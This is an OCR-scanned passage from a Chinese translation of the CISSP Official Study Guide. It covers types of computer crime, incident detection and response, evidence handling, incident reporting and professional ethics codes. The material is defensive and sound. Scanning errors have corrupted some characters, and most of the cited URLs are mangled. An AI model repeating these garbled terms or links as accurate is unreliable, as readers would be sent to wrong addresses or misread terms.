• 恐怖攻击
• 恶意攻击
• 兴奋攻击
理解计算机犯罪类型之间的区别， 对于更好地理解如何保护系统并在攻击发生时如何响应来说
是十分重要的 。 攻击者留下的证据的类型和数量常常取决于他们的专业程度。 在下面的 内容中， 我
们将讨论计算机犯罪的不同类型以及在攻击发生后可能找到的证据的类型。 证据可以帮助确定攻击
者做了些什么 ， 以及攻击的预计 目 标是什么 。 你可能发现 自 己的系统只是到达真正受害者网络连接
链中的一个链接， 这使得对 攻击者的跟踪变得更难。
1 9.2.1 军事和情报攻击
军事和情报攻击主要用于从执法机关或军事和技术研究机构获得秘密和受限的信息。 这些信息
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CISSP 官方学 习指南(第 7 版)
的暴露可能使研究泄密、 中断军事计划甚至威肋 国家安全。 收集军事信息或其他敏感信息的攻击常
常是其他更具破坏性攻击的前兆 。
攻击者可能在寻找下列类型的信息:
• 任何类型的军事说明信息， 包括部署情报、 就绪情报 以及战斗计划指令
• 为 军事或执法 目 的 收集的秘密信息
• 在犯罪调查过程中获得的证据的说明和存储位置
• 任何可能被用在 后续攻击中 的秘密信息
由于军事和情报机构收集和使用的信息的敏庸持性， 因此他们的计算机系统常常成为富有经验
的攻击者的 目 标。 为了保护存储此类信息的系统不受更多和更有经验的攻击者的攻击， 系统中通常
存在更正规的安全策略。 正如第 l 章 中所述， 数据可以根据敏感度进行分类并且被存放在支持所需
安全级别的系统中 。 通常， 你会发现强有力的边界安全以及内部控制被用于限制对军方和情报机构
的系统中机密文档 的访问。
可 以确信的是， 获取军方或情报信息的危险攻击都是由专业人员进行的 。 专业的攻击者在掩盖
攻击痕迹时常常是非常彻底的。 在这样的攻击发生后， 通常几乎收集不到证据。 如果无人能够感觉
到攻击的发生， 这种类型的攻击者会取得最成功 、 最满意的结果。
高级持续性威胁
近年来， 被称为 高级持续性威胁(Advanced Persistent Threat， APT)的复杂攻击崛起。 攻击者拥有
资金， 并拥有先进的技术技能和资源。 他们代表民族国 家、 犯罪组织 、 恐怖组织或其他发起人， 对
非常集中 的 目 标进行有效攻击。
1 9.2.2 商业攻击
商业攻击专门非法获取公司 的机密信息。 这种信息可能是对公司经营很关键的信息。日秘方)，
或者一旦泄漏便可能损害公司形象的信息(如员工的个人信息)。 对竞争者机密信息的收集也称工业
间谍活动， 这并不是一种新的事物。 商业活动使用非法的手段获得竞争信息己经有很多年了 。 下列
两种原因令这种攻击类型很具吸引 力 : 偷取竞争者机密信息的诱惑， 精明 的攻击者可以轻易破坏一
些计算机系统 。
商业攻击的 目 的只 是获得机密信息。 使用通过攻击收集到的信息通常会比攻击本身更危险。 遭
受这种攻击的商业系统可能永远都无法恢复。 确保包含机密数据的系统安全取决于安全专家所做的
工作。 此外， 必须制定控制这种入侵的策略(有关安全策略的更多信息， 读者可以参看第 2 章 " 个人
安全和风险管理概念 " )。
1 9.2.3 财务攻击
财务攻击被用于非法获得钱财和服务。 这是人们经常在新闻 中听到的计算机犯罪类型。 财务攻
击的 目标可能会是增加银行账户 中 的存款， 或是免费打长途电话。 你可能听说过个别人闯入电话公
司 的计算机， 并且设置免费 电话 。 这种类型 的财务攻击被称为 电话线路盗用 。
入店行窃和入室行窃都是财务攻击的例子。 总是可以根据破坏造成的经济损失来描述攻击者的
技巧。 缺乏经验的攻击者会寻找较为简单的 目标， 尽管破坏通常极小 ， 但是随着时间 的推移 ， 破坏
第 1 9 章 事件与道德规范
会越来越大。
由经验丰富的攻击者发起的财务攻击可能会导致相当大的破坏。 虽然电话线路盗用会使电话公
司 损失被设定呼叫的收入， 但是严重的财务攻击可能会导致数百万美金的损失。 正如我们在前面的
攻击描述中讲到的， 能够检测到攻击井跟踪攻击者的难易在很大程度上依赖于攻击者的技能水平。
1 9.2.4 恐怖攻击
恐怖攻击实际上存在于我们这个社会的很多领域。 对信息系统日 益增长的依赖使得信息系统对
于恐怖分子越来越具有吸引力。 这种攻击有别于军事和情报攻击， 恐怖攻击的 目 标在于中断正常的
生活和制造恐怖气氛， 而军事和情报攻击被用来获取秘密信息。 情报收集一般先于恐怖攻击进行。
恰好成为恐怖攻击的受害者系统可能已经在之前的情报收集攻击中被损害。 对攻击检测得越认真，
对更加严重攻击的防护准备将越好。
计算机恐怖攻击的 目 的可能是控制 电厂、 控制电信或造成电力中断。 很多这样的控制和管理系
统都是计算机化的， 并且容易受到恐怖分子的攻击。 实际上， 同时进行物理的恐怖攻击和计算机化
的恐怖攻击的可能性是存在的。 对于这样的攻击， 如果针对电力和通信的物理攻击与计算机攻击同
时发生， 那么我们 的反应能力将大大下降。
大多数大型电力和通信公司都有专门 的安全保卫人员确保系统的安全， 但是很多较小的公司具
有连接到互联网的系统， 它们更容易受到攻击。 为 了确定攻击， 必须认真地监视系统， 并且在发现
攻击后 即 刻做出反应 。
1 9.2.5 恶意攻击
恶意攻击可以对组织或个人造成破坏。 破坏可能是信息的丢失或信息处理能力 的丧失， 也可能
是组织或个人名誉的损害。 恶意攻击的动机通常来自 于不满， 并且攻击者可能是现在的或以前的员
工 ， 也可能是希望组织不能正常运作 的人。 攻击者对受害者不满， 进而以恶意攻击的形式发泄他们
的不满。
最近被解雇的员工是可能对组织进行恶意攻击的主要人员 。 另 一种攻击者是被拒绝与其他员工
建立个人关系的人。 被拒绝的人可能对受害者的系统发起一次攻击， 并且破坏受害者系统中的数据。
@ 真实场景
内 部人员威胁
安全专 家通常更关注来 自 组织外部的威胁。 事实上， 许多 安全技术都被设计用 于 阻挡外部的未
投机人员 。 我们往往不太注意防范组织 内部的恶意人员 ， 但他们常常对计算资产带来最大的风险。
本书的一位作者最近参与 了 与 某 大型知名 企业的普通子公司 进行的协商讨论。 这家公司 遭受 了
严 重的安全违规事件， 事件造成数千美元被盗以及企业敏感信息被蓄意破坏。 组织 内 部的IT 负 责
人需要专 家与他们→豆对该事件进行研究 ， 从而 能够找出 事件的原 因 ， 并且能够防止在未来发生类
似的事件。
573
CISSP 官方学习指南(第 7 版)
仅仅通过少量的调查工作， 我们很快发现面对的定内 部人员 攻击。 入侵者的动作说明他了 解公
司 的 IT 基础设施， 并且掌握对公司 持续运营而 言最重要的数据类型 。
进一步的调查表明罪犯是由 于待遇问题离 开公司 的前员 工。 他离开公司 时心怀不满， 并且，心怀
巨测。 遗憾的是， 作为 曾 经的 系统管理员 ， 这位员 工能够访问公司 的许多 系统， 并且公司 的防备措
施不够完善， 从而在他离 开公司 时没有删除其所有访问权限。 该 员 工轻易就友现一些 自 己可用 的活
动账户 ， 并且使用 这些账户 通过 VPN 来访 问公司 的网络。
这个故事对我们有何启示? 千万不要低估内 部人员 威胁。 花费一定的 时间来评估控制措施， 以
使缓解恶意 的在职员 工和离职员 工给组织带来的风险。
安全策略应当解决心怀不满的员工可能引发的潜在攻击。 例如， 员 工一旦被解雇 ， 这名员工所
有的系统访问都应该被终止。 这种操作降低了恶意攻击的可能性， 并且删除了 当前未使用的访问账
户 ， 以 免它们会被用在 未来的攻击中 。
虽然大多数恶意攻击者只 是具有有限攻击和破坏能力的人， 但是一些人所具有的一些技能会
导致巨大的破坏 。 不高兴的破坏者对于安全专家来说可能是件棘手的事。 当一名具有己知的破坏
能力的人离开公司时， 需要对此高度重视。 至少 ， 应当对这个人可能访问 的所有系统进行漏洞评
估 。 你可能会惊讶地发现系统中有一个或多个 "后门" (有关后 门 的更多信息 ， 读者可以参看第 2 1
章)。 但是即使缺少后 门 ， 一名熟悉组织的技术体系结构的离职员工也仍然可能知道如何利用系统
的漏洞。
如果恶意攻击未受到抑制， 那么可能会是毁灭性的。 认真地对系统漏洞进行监控和评估， 是应
对大多数恶意攻击的最佳防护措施。
574
1 9.2.6 兴奋攻击
兴奋攻击是由具有很少技能的破坏者发起的攻击。 缺乏 自 己设计攻击的能力的攻击者常常会下
载某些程序来进行攻击。 这些攻击者常常被称作 "脚本小子"， 因 为他们只运行他人的程序或脚本而
发起攻击。
这些攻击的动机是闯入系统的极度兴奋。 如果是兴奋攻击的受害者， 那么所遭受的最常见打击
就是服务中断。 虽然这种类型的攻击者可能会破坏数据， 但是他们的主要动机还是破坏系统， 并且
可 能使用 该系统对其他受害者发起拒绝服务攻击。
兴奋攻击的一种常见类型涉及 Web 站点被破坏， 此时攻击者会危害 Web 服务器， 并且将组织
的合法 Web 内容替换为通常炫耀自 己技术的其他页面。 例如， 匿名为 iSKORPiTX 的攻击者在 2006
年造成两万个 以上的 Web 站 点被破坏 ， 这 些站 点 的合法内 容都被 替换为包含 " Hacked by
iSKORPiTX " 文本的页面。
最近， 我们能够看到 " 黑客行动主义" 的兴起。 这些被称为 " 黑客行动主义者" (黑客和激进分
子的结合)的袭击者， 常常将政治动机与黑客的快感结合在一起。 他们 自 己组织松散的群体， 并将群
体命名为同 Anonymous 或 Lolzsec 相似的名字。 他们使用 Low Orbit Ion Cannon 这样的小工具， 并
且还拥有一点 点相关知识， 制造了 大规模的拒绝服务攻击。
第 1 9 章 事件与道德规范
1 9.3 事故处理
在事故发生时， 必须根据安全策略中描述的， 并且符合当地法律和法规的方法来处理事故。 正
确 处理事故的首要步骤是在事故发生时发现它 。 必须理解下列两个与事故处理相关 的术语:
事件 在特定时间周期内发生的任何事情。
事故 对组织数据的机密性、 完整性和可用性具有负面影响的事件。
事故没有被报告的最常见原因是它们从未被发现。 每天都可能有很多违反安全策略的事件发生，
但是如果没有办法发现它们， 那么永远不会知道这些事故的发生。 因此， 安全策略应当确定并列 出
所有可能违规的事情和检查它们的方法。 根据出现的违规和攻击的新类型对安全策略进行更新， 这
也是十分重要的 。
当发现事故己经发生时该做些什么 ， 这取决于事故的类型和破坏程度。 法律规定一些事故必须
报告， 如那些影响政府或美国联邦利益的计算机(美国联邦利益的计算机是由金融机构和水力、 电力
系统这样的基础设施系统使用的计算机)或某些金融交易 的事故， 无论破坏程度如何都需要报告。 如
今， 美国大多数州 的法律都要求: 如果组织的事故涉及特定的个人标识信息(信用卡号、 社会保险号
和驾照号)， 那么就必须通知相关人员 。
除 了法律条文之外， 许多公司都具有向业务伙伴通知各类不同事故的合约责任。 例如， 支付卡
行业数据安全标准σCI DSS)要求所有处理信用卡信息的商家向开卡银行和执法部门报告涉及相应
信息的事故。
接下来， 我们将介绍一些不 同类型的事故及典型反应。
1 9.3. 1 常见的事故类型
当针对系统实施的攻击或其他违反安全策略的事情发生时， 事故便随之而来。 有很多种方法能
够区分事故的类型 ， 下 面给 出 了 常规的一些类别 :
• 扫 描
• 泄 密
• 恶意代码
• 拒绝服务
这 4 个领域是攻击者影响系统的基本切入点 。 必须针对每个领域建立有效的监控策略， 以便检
测系统事故。 每个事故领域都具有向 安全管理员发送事故发生警报的典型特性。 一定要确保理解操
作系统环境以及每种事故类型的警告信号。
1 . 扫描
扫描攻击通常是先于其他更严重的攻击进行的侦察攻击。 这种攻击类似于入室盗窃者先冒充邻
居围绕 目 标进行查看， 从而发现未锁的屋门或无人守护的房屋。 攻击者在发起定向攻击之前将收集
尽可能多的系统信息。 寻找任意端 口 上的不寻常操作或者来 自 任意单一地址的不寻常操作。 例如，
端 口 22 上的大量 SSH 包可能表明 发生了针对 网络的系统扫描 。
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CISSP 官方学习 指南(第 7 版)
需要记住的是， 根据当地法律法规， 仅仅扫描系统可能并不违法。 扫描可以指出其后 的行为是
非法的 ， 因此将扫描视为事故， 并且收集扫描活动的证据是一个很好的主意。 你可能会发现， 为 了
找到随后发生攻击的 当事人的责任， 在系统被扫描时收集到的 内容可能会成为所需的重要证据。
由于扫描是这样一种普遍现象， 因此一定要 自动收集证据。 设置防火墙以记录丢弃的通信数据，
并且对这些 日 志记录文件进行归档 。 日 志记录可能会变得相当大， 但是存储设备十分廉价， 应当为
保 留证据付出一定的成本。
2. 泄密
泄密指的是对系统或系统存储的信息进行的未授权访问 。 、泄密可能源自 组织的 内部或外部。 更
糟糕的是， 泄密可能来自 一名 合法用户 。 合法用户 D 的未授权使用所造成的泄密事故， 与有经验
的破坏者从外部闯入所造成的损害是相当的。
泄密可 能难以检测。 通常， 数据管理员会注意到数据有些不寻常。 这可能会是数据的丢失、 更
改或移动， 可能是时间标记有所不同 ， 还有可能是其他一些内容完全不对。 对于系统的正常运作了
解得越多 ， 对于检测系统非正常行为的准备工作越充分。
3 恶意代码
提到恶意代码时， 可能会想到病毒和间谍软件。 虽然病毒是恶意代码的常见类型 ， 但只是其中
一种类型(在第 21 章中， 我们讨论恶意代码的不 同类型)。 这种类型的恶意代码事故的察觉源自 由恶
意代码 引 起的终端用 户 的报告 ， 或者源 自 自 动报告 已经发现被扫描的代码包含恶意 内容。
保护系统不受恶意代码攻击的最有效方法是使用病毒和间谍软件扫描程序， 并且使特征数据库
保持最新。 另外， 安全策略应当解决外部代码的引 入问题， 要具体到准许终端用户 安装的代码。
4. 拒绝服务
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最后一种事故类型是拒绝服务ρoS)。 通常， 这种事故类型最容易检测到。 用户或自动化工具能
够报告一种或多种服务(或整台机器)是不可用 的 。 尽管拒绝服务很容易被检测 ， 但是避免其发生总
比采取措施应对好得多。 虽然从理论上讲， 动态改变防火墙规则可以拒绝 DoS 网络信息传输， 但近
几年更加完善和复杂的 DoS 攻击使得它们很难被防范。 因为 DoS 攻击的变化太多 了 ， 实施这项策
略是一项艰巨的任务。
有关 DoS 和 DDoS 攻击的更多信息 ， 可 以参看第 2 1 章 。
1 9.3.2 响应团队
现在许多组织都有负责调查计算机安全事故的专门 团队。 这些团队通常被称为计算机事故响应
团 队(CIRT)或计算机安全事故响应团队(CSI盯)。 当发生事故时， 响应团队具有下列 4 个主要职责:
• 确 定事故导致的破坏程度和范 围
• 确 定事故期间是否有机密信息 出 现泄密
• 实现任何必要 的恢复措施， 以便在遭到与 事故相关的破坏后还原安全性并进行恢复
• 针对改善安全性和防止相同事故再次出现的其他所有必要的安全措施， 进行监督管理工作
第 1 9 章 事件与道德规范
@ 真实场景
来 自 Gibson 的研究 : 拒绝服务攻击是出于乐趣还是恶意?
Steve Gibson 在 1T 行业是知名 的软件开发商和个人， 他的高知名度不仅仅源于与其公司 Gibson
相 关的 高度受到重视的产品， 还有他作为 Computer World 杂志的 自 由和直言专栏的作家身份。 近几
年， 他在计算机安全领域非常活跃， 并且他的 网站提供免费的针对操作系 统漏洞的漏洞扫描服务以
及各种补丁程序和修非问呈序 。 由他运营的 网 站 htφ:刀grc.com 上有很多 文档记录了全面的关于拒绝服
务攻击的主题。 探讨这种攻击是因 为怀有恶意(也就是那些通过闯入明显和估计有很好防范措施的攻
击点来提升个人声 名 的人)还是出 于 乐趣(也就是那些有很多 闲暇时间来寻找向知名对手证明 自 己能
力 的人， 他们这样做不是为 了 出 名)， 这是一件非常有趣的事情。
事实上， Gibson 的 网站上有两篇文档记录了 全面的拒主刨民务攻击的课题， 从下列 网址可以查到
文档 的详细信息:
• "分布式反射拒绝服务" . h即:/川ww.cs.washington.edu/homes/arvind/cs425/doc/drdos.pdf
• 吨十对GRC.COM的拒绝服务攻击的奇特故事" h即://www.crime--res臼rch.α剖ibrary/grcdos.pdf
尽管后来 Gibson 与其中一位参与此次攻击的犯法者进行过匿名 讨论， 表明某些类型 的拒绝服务
攻击的动机走 出 于乐趣而不是商业破坏或恶意行为 ， 但这些报告还是很吸引人的 ， 因 为 它们为 事故
处理和报告提供了 极好范例 。
这些文档中包含 了 攻击发生前的征兆和发生时间顺序的概要， 还有为 了 阻止攻击再次发生而进
行了短期的和长期的修订和支史。 文档 中还强调 了 服务提供者之间通信的重要性(在进行通信的过程
中 ， 他们的基础设施可能正在遭受攻击). Gibson 的关于拒绝服务攻击的报告强调 ， 他曾经历 过 l 7
个小 时的故障时间 ， 因 为他无法与 自 己的服务提供商的拥有丰富知识的 、 称职的 工程师取得联系 ，
工程师 能够帮助确定通信过滤器的正确类型 ， 以便阻止具有典型拒绝服务攻击特点的通信泛洪。
Gibson 的分析还表明 ， 他彻底分析了 分布式拒绝服务攻击的源 ， 并对被他称为 "在这些攻击友
动期间收集的恶意通信的精确概述" 进行了 文档记录。 这些信息可以让他的王联网服务供应商确 定
一系列过滤器， 以使用 于进一步队ι通信数据从王联网服务供应商最后的 T 1 链期专输至他的服务
器。 Gibson 的经验证明 : 识别 、 分析和特征化攻击对于确定过滤器以及阻止或击败拒绝服务攻击的
其他对策来说， 绝对是必不可少的。
作为这些责任的一部分， 响应团队应当在事故发生一周 内对事故进行事后回顾， 从而确保事故
的关键当事人共享了解的情况并提出 最佳的做法， 进而为将来的响应工作提供借鉴 。
当组建事故响应团队时， 一定要保证设计功能交叉的人员组合， 以便涵盖管理、 技术和受安全
事故影响最直接的职能领域。 潜在的团 队成员包括如下:
• 来 自 高层管理部门 的代表
• 信息安全专业人员
• 法律代表
• 来 自 公共事务/通信部门 的代表
• 来 自 系统和 网络工程领域的代表
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CISSP 言为学习指南(第 7 版)
1 9.3.3 事故响应过程
许多组织都采用三步骤的事故响应过程 ， 这个过程 由 下列三个阶段组成:
(1) 检测和确认
(2) 响 应和报告
。) 恢复和补救
接下来， 我们将概述标准的事故响应过程的 这三个阶段。
步骤 1 : 检测和确认
事故确定过程具有两个主要 目 标: 确定事故以及通知适当的人员 。 为了成功地确定事故， 安全
团 队必须监控发生的所有相关事件， 并且在事件达到组织为安全事故定义的阀值时发出 通知 。 确定
事故的关键是要确定出所有异常的或可疑的活动 ， 这些活动可能构成事故的证据。 虽然根据攻击的
典型特征可以检测到攻击， 但是有经验的攻击者知道如何 "在雷达下飞行(也就是隐藏特征) "。 因此，
必须清晰地了 解系统是如何正常工作的。 异常的或可疑的活动指的是在系统中发生的任何不正常的
系 统活动 。
应当通过下列一些工具和技术来监控表明 安全事故 的事件:
• 入侵检测/防御系统
• 反病毒软件
• 防火墙日志
• 系统日志
• 物理安全系统
• 文件完整性监控软件
在调查事故时， 始终要使用多个数据源。 对任何不合理的活动都要有所怀疑， 确保自 己能够阐
明系统中任何不正常的活动。 如果只 是 "感觉 " 不正常， 那么这可能成为成功阻止正在发生的事故
的 唯一线索 。
一旦最初的评估员确定事件满足组织的安全事故标准， 评估员就必须通知事故响应团队。 通知
总结了事故的检测阶段、 确定阶段、 初步响应和报告阶段。
步骤 2 : 晌应和报告
一旦确定事故己经发生， 下一步就是选择执行恰当 的行动。 安全策略应当指定针对各类事故应
采用 的步骤。 始终都要认定事故最终会诉诸法律。 收集证据时 ， 要保证证据能够达到出庭标准。 如
果证据受损 ， 那么就无法追回 。 因此， 必须确保证据链得到维护 。
隔离与抑制 采取的第一个行动应当致力于限制组织泄密和阻止进一步破坏。 在系统可能泄密
的情况中 ， 应当断开其与网络的连接， 这样不仅可以阻止入侵者访问 受到危害的系统， 而且也可以
防止受害的系统影响 网络中 的其他资源。
警告 :
使受害 系统保持运行状态至关重要。 切记: 不要关闭受害 系统! 关闭计算机会毁坏易失性存储
设备中 的内容， 从而可能破坏证据。
收集证据 为了执行适当的调查， 没收设备、 软件或数据是常见的事情。 没收证据的行为十分
第 1 9 章 事件与道德规范
重要， 一定要 以恰当 的方式来进行。 目 前有下面三种基本的选择方案 。
首先， 拥有证据的人可能自 愿交出证据。 这种方法通常适用于当攻击者不是所有者时。 但是，
有罪的人很少会自 愿交出控告他们犯法的证据。 经验较少的攻击者可能认为， 他们 己经成功地掩盖
了 自 己的痕迹并自 动交出重要的证据。 一名优秀的法庭调查员能够从计算机上提取 " 被隐藏" 的信
息 。 在大多数情况下， 从可疑的攻击者那里寻找证据 ， 就是为 了警告嫌疑犯正在进一步采取法律
行动。
提示 :
就内部调查而言， 你会通过 自 愿交出方式收集到的绝大多数证据。 通常情况下 ， 你在某位高级
管理人员 的 支持下进行调 查 ， 这位 高管会授权你访问 完成调 查所需的组织 内 的任何资源。
其次， 可 以让法院发出一张传票或法令， 强迫个人或组织交出证据， 并由执法部门强制执行传
唤 。 同样， 这种做法也会引 起某些人的充分注意， 并且导致更 改证据使之在法庭上无效。
最后， 可 以选择申请搜查证。 这种选择只 有必须在不惊扰证据的所有者或其他当事人的情况下
获取证据时使用 。 必须通过合理可信的强烈怀疑使法官 同意采取这样的行动 。
这三种选择方案适用于没收组织内 部和外部的设备， 但是我们还可以采取另一个步骤， 以便确
保恰当实施没收属于组织的设备的行为。 让所有新员工签署协议， 使其同意在调查期间可搜寻和没
收任何必要的证据， 这 己经变得越来越常见。 通过这种方式， 同 意条款被作为雇用协议中的一个条
件 ， 这使得没收措施更容 易执行， 并减少了等待法律许可获取证据而导致证据丢失的可能性。 确保
安全策略涉及这个重要的主题。
当 决定 收集何种证据时， 应该考虑下列数据源:
• 涉及事故的计算机系统(服务器和工作站)
• 来 自 安全系统(例如入侵检测、 文件完整性监控和防火墙)的 日 志
• 来自网络设备的 日 志
• 物理访 问 日 志
• 与被调查事故相关联的其他数据源
分析与报告 一旦完成证据收集工作， 就应当分析证据以便确定导致事故的一系列事件。 在提
交给管理部门 的书面报告中概述这些发现。 在报告中 ， 应当慎重地描述事实并给出意见。 对可能的
原因进行推断是可接受的， 但是应该确信结论陈述完全依赖于事实， 并且需要一定程度的估计判断。
步骤 3 : 恢复与补救
在完成调查之后， 还要执行两个任务: 将工作环境还原至正常的运营状态， 以及完成 " 总结经
验教训11 " 过程 ， 从而提高应对未来事故的能力 。
恢复 恢复过程的 目 标是修正针对组织的所有己发生破坏， 并且限制将来由于类似事故导致的
破坏。 这个过程应当采取下列一些 关键行动 :
• 重构受到危害的系统， 注意纠正可能导致事故的任何安全漏洞。
• 在必要时还原备份数据 ， 以 替代完整性出现问 题的数据。
• 在必要时增补现有的 安全控制 ， 以弥补事故分析期间确定的缺陷 。
一旦完成恢复过程 ， 业务就应当回到事故前的状态并重新运营(不过采用 了 更安全的方式)。
总结经验教训 事故响应过程的最后一个阶段是召 开 " 总结经验教训11 " 会议。 在这个重要的过
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CISSP 官方学 习指南(第 7 版)
程中， 事故响应团队的成员会回顾他们在事故期间 的活动， 井且寻找行动中和事故响应过程中是否
还有改进之处。 通过分析现实事故期间 的效力， 这种事后反思的行为能够为今后成功的事故响应提
供重要参考。
1 9.3.4 约谈个人
事故调查期间 ， 你会发现有必要与可能掌握相关信息的人员进行谈话。 如果只是为了 获取有助
于调查的信息， 那么这种谈话被称为约谈。 如果怀疑某人涉嫌犯罪并希望收集在法庭上可用的证据，
那么这种谈话被称为审 问 。
约谈和审 问是一种专门 的技巧， 并且应当只 由训练有素的调查人员进行。 不恰当 的方法可能会
损害执法部门成功起诉嫌疑人的能力。 此外， 许多法律都涉及对人员 的限制或拘留 。 如果打算进行
私下审问， 那么就必须严格地遵守这些法律。 在进行任何约谈之前， 始终要与律师商讨相应的对策。
1 9.3.5 事故数据的完整性和保存
无论证据的说服力如何， 如果在证据收集的过程中发生变更， 那么就会被法院拒绝受理。 一定
要确保能够维护所有证据的完整性 ， 但在进行数据收集之前要 了 解什么是数据的完整性。
我们不可能检测到所有正在发生的事故。 有时， 调查结果会揭示出 以前存在未被发现的事故。
如果在跟踪证据时， 发现包含攻击者相关信息的重要 日 志文件己经被清除， 将令λ沮丧。 一定要认
真地考虑 日 志文件的作用或其他可能存在证据的地方。 简单的归档策略有助于确保能够在需要时获
得证据， 无论事故 已经发生了 多长时间 。
因 为许多 日 志文件中都包含了有价值的证据， 攻击者时常在攻击成功之后试图清除这些证据。
要采取措施保护 日志文件的完整性并防止被修改 。 有一种技术被用于实现远程日志记录， 采用这种
技术时， 网络中所有的系统将 日志记录发送到一台中央日志服务器， 这台中央日志服务器被锁定 ，
以免受到攻击， 从而使数据免于修改: 这起到了 保护 日志文件在事故发生之后不被清除的作用 。 此
外 ， 系统管理员经常使用数字签名来证明 日 志文件在最初获取之后未被篡改。 要了解更多的相关信
息 ， 读者可 以参看第 7 章 " PKI 和 密码学应用 "。
由于涉及安全计划的各个方面， 因此无法实现统一的解决方案。 一定要熟悉系统并采取措施，
使组织采用最合理方式对其进行保护 。
1 9.3.6 事故报告
应该何时报告事故? 应该向谁报告? 通常这些问题很难回答。 安全策略中应当包含回答这两个
问题的指导方针。 在报告事故时有一条基本原则。 如果每个事故都进行报告， 那么就会承担被认为
是麻烦制造者的风险。 当发生严重事故时， 报告就会被人忽略 。 同样， 报告不重要的事故会给人这
样的印象: 组织非常容易受到攻击。 这会对实施严格安全措施的组织产生不利影响 。 例如， 在每天
都听说银行发生事故之后 ， 公众对银行的安全实践措施就无法保持信心 。
另一方面， 如果在发现事故之后不及时报告， 那么自动调整和法律制裁就变得更加困难。 如果
延迟向管理机构通知发生的严重事故， 那么 很可能就要回答有关延迟通知动机的质疑， 甚至无辜的
人可能看起来像是通过不及时报告发生的事故来试图隐瞒某些情况。
第 1 9 章 事件与道德规范
与大多数安全主题一样 ， 回答这个问题并不容易 。 事实上， 对某些事故的报告要被迫受到法律
或法规的限制 。 必须确信 自 己了解所要上报的事故。 例如， 存储信用卡信息的组织必须对发生信息
泄露的事故予 以上报。
在事故发生之前， 与公司 的法律人员和适当的执法代理机构建立良好的关系是非常明智的。 找
到适合组织的执法联络人并同他们商讨。 在应该报告事故时， 提前努力建立关系的工作将会见到成
效 。 如果己经了解了正在与你谈话的人， 那么会减少用于介绍和解释的时间。 预先确定一名联系人
作为组织与执法部门 的联络人员是一个不错的主意。 这种做法有下列两点好处: 首先， 能够确保执
法部门从固定的联络人那里了解组织的想法并知道通过何人进行调查; 其次， 允许预先指示联络人
与执法人员建立 良好的工作关系 。
注意 :
与执法部 门 建立技术联系 的一个好方法是参与 FBI 的 InfraGard 计划。 InfraGard覆盖了美国 绝
大部分大城市 区域， 并且为执法人员 和业务安全人员 提供了 一个在封闭环境中共享信息的论坛。 要
了 解更多 的信息 ， 访 问 WWW.lll仕agard.org 站点。
一旦决定报告事故， 就要保证报告尽可能多 地包含下列信息 :
• 事故的性质是什么 ? 如何开始和 由 谁开始 ?
• 事故何时发生( 日 期和时间要尽可能精确)?
• 事故是在哪里发生的 ?
• 如果知道， 那么攻击者使用 的 是什么工具?
• 这个事故会造成什么损害?
你可能还会被要求提供更多的信息。 准备尽可能及时地提供这些信息。 此外， 你还可能被要求
对系统进行隔离。
与采取的任何安全措施一样， 对所有的通信过程进行 日 志记录， 并对作为事故报告提供的任何
文档进行复制备份 。
提示 :
关 于 事件处 理的更 多 信息， 请阅读NIST SP 800-6 1 计 算机安全事件处理指 南， 网址 为
http://nvlpubs.nist.gov/nistpubs/Sp民ialPublication的..rrST.SP.800-61r2.pdf， 也可阅读计算机安全事件响
应 小组手册(CSIRTs) ， 网 址为 http://resources. sei. cm u. edu!li brary/ asset -vi ew. cfrn ?assetID=630 5.
1 9.4 道德规范
因 为安全专家处理敏感信息， 需要赢得信任， 所以安全专家 自身及相互之间负有高标准的行为
职责。 管理个人行为的规则被统称为道德规范。 一些组织已经认识到需要标准的道德规范或准则，
并且为道德行为设计了 指导原则 。
本节将讨论两种道德规范。 这些规范不是法律。 它们是对专业人士行为的最低标准。 它们为你
提供了 合理的道德判断标准。 无论其专业领域是什么 ， 受雇于何人， 我们期望所有的安全专家都应
该遵守这些指导原则。 你一定要理解并遵守本节列出 的道德规范。 除 了这些代码， 所有信息安全专
业人士也应该支持他们组织的道德准则 。
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CISSP 官方学习指南(第 7 版)
1 9.4.1 ( ISC)2 的道德规范
管理 CISSP 认证考试的机构是国际信息系统安全认证协会， 也就是(lsci0 (ISC)2 的道德规范被
用于提供 CISSP 行为的基准， 是包含一个序言和 4 条标准的简单准则。 接下来我们将简要概述(ISC)2
的道德规范的主要概念。
提示 :
所有 CISSP 应试者都应 当 熟悉。sci 的整个道德规范， 这是因 为他们必须签字 同 意遵守这个规
范。 本书 不会深入介绍这个规范， 不过可以在www.isc2.org!ethics 站点上查看。sci 的道德规范的详
细信息。 必须访 问 这个站点并阅读规范全文。
道德规范的序言
道德规范的序言如下:
• 社会安全和福利、 公益、 对委托人的责任， 以及要遵守的其他要求， 还有需要去遵守的要
求 ， 这些是要遵守 的行为的最高道德标准。
• 因此， 严格遵守这些标准是认证考试的要求。
道德规范的标准
道德规范包括如下准则 .
保护社会 、 公益、 必需的公信与自信， 以及基础设施 安全专业人员具有很大的社会责任。 我
们担负着确保 自 己的行为使公众受益的使命。
行为得体、 诚实 、 公正、 负责和遵守法律 对于履行我们的责任来说， 诚实正直是必不可少的 。
如果组织、 安全团体内部的其他人或一般公众怀疑我们提供的指导不准确， 或者质疑我们的动机，
那么我们就无法履行 自 己的职责。
为委托人提供尽职的 、 胜任的服务工作 尽管要对整个社会负责， 但是也会专门对雇用我们来
保护其基础设施的人负责。 我们必须确保为组织提供无偏见的 、 完全胜任的服务。
发展和保护职业 我们选择的这个职业也在不断变化。 作为安全专业人员 ， 我们必须确保掌握
最新的知识并且应用到社会的公共 知识体系 中 。
1 9.4.2 道德规范和互联网
在 1989 年 l 月 ， 互联网顾问委员会(IAB)认识到快速扩张的互联网范围超出了 当初创建网络的
可信团体。 考虑到互联网发展中出现的滥用情况， 队B 发布了一份有关正确使用互联网的政策声明 。
这份声明的内容直到今天仍然有效。 了 解这个名 为 " 道德规范和互联网(RFC 1 087)" 的文档的基本
内 容是十分重要的 ， 这是因为大多数的道德规范都能在这个文档 中 追根溯源。
这份声明被认为是不道德行为的概括列表。 道德规范告诉人们应该怎样做， 而此列表概括了 不
应该做什么 。 RFC 1 087 说明了怀有下列 目 的 的任何行为都是不可接受和不道德的 :
• 试图获得未经授权访 问 Internet 资源的权利
• 破坏 Internet 的正常使用
• 通过这些行为耗费资源(人、 容量、 计算机)
第 1 9 章 事件与道德规范
• 破坏以计算机为基础的信息的完整性
• 危害用户的隐私权
计算机道德规范的 1 0 条戒律
计算机道德规范(Computer Ethics)协会制定 了 自 己的道德规范。 下面 列 出 了 计算机道德规范的
1 0 条戒律:
1) 不准使用 计算机危害他人。
2) 不 准妨碍他人的计算机工作。
3) 不 准窥探他人的计算机文件。
